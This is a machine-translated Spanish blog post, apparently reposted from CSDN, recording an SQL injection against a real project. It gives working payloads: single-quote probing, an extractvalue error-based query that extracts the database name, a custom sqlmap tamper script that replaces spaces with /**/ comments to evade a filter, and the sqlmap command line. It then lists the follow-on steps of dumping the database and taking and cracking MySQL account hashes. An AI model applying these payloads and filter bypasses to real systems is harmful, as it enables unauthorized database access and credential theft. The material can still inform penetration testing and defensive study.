Recuerde un análisis de inyección SQL y bypass [1]

Lo siguiente es del proyecto de hoy, simplemente regístrelo.

inyección manual

Agregar error sql de comillas simples

La declaración SQL es la siguiente. Se puede ver que la identificación del parámetro originalmente no estaba entre comillas.

SELECT DISTINCT u.* FROM t_user u WHERE u.name like '%1%' and u.account like '%1%' and u.state = ?  order by id' desc  limit 0,20

Después de muchos intentos, el uso de sqlmap aún no se pudo inyectar

Eliminar los parámetros solicitados sin afectar la prueba, la prueba manual es la siguiente

order=id'			 报错
order=id' and 1=1    未报错
order=id'+and+1=1    未报错,按理说多了个单引号就会引发报错,但是这里没有,说明有限制

Intente utilizar el comentario SQL /**/ en lugar de un espacio y se informará un error, lo que indica que la declaración ingresada se incorporó correctamente.

order=id'/**/and/**/1=1

A continuación, continúe construyendo declaraciones de consulta, intente utilizar extractvalue para consultas de error y obtenga con éxito el nombre de la base de datos actual ^ecph_ps^

order=id/**/and/**/extractvalue(1,concat('^',(select/**/database()),'^'))/**/#

Entonces aquí está la forma de omitir, usar /**/ en lugar de espacios, escribir declaraciones de manipulación, continuar usando la inyección sqlamp, replaceSpace.py es el siguiente

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with plus ('+')

    Notes:
        * Is this any useful? The plus get's url-encoded by sqlmap engine invalidating the query afterwards
        * This tamper script works against all databases

    >>> tamper('SELECT id FROM users')
    'SELECT+id+FROM+users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    #retVal += "+"
                    retVal += "/**/"
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                #retVal += "+"
                retVal += "/**/"
                continue

            retVal += payload[i]

    return retVal
sqlmap.py -r r.txt -v 3 --level 5 --tamper=D:\3-安全工具\漏洞检测与利用\web漏洞\sqlmap\tamper\replaceSpace.py --technique=E

inyección exitosa

obtener base de datos

Obtener el hash de la cuenta MySQL

descifrar

Si el puerto de la base de datos está abierto, puede conectarse

Supongo que te gusta

Origin blog.csdn.net/qq_44159028/article/details/132019351
Recomendado
Clasificación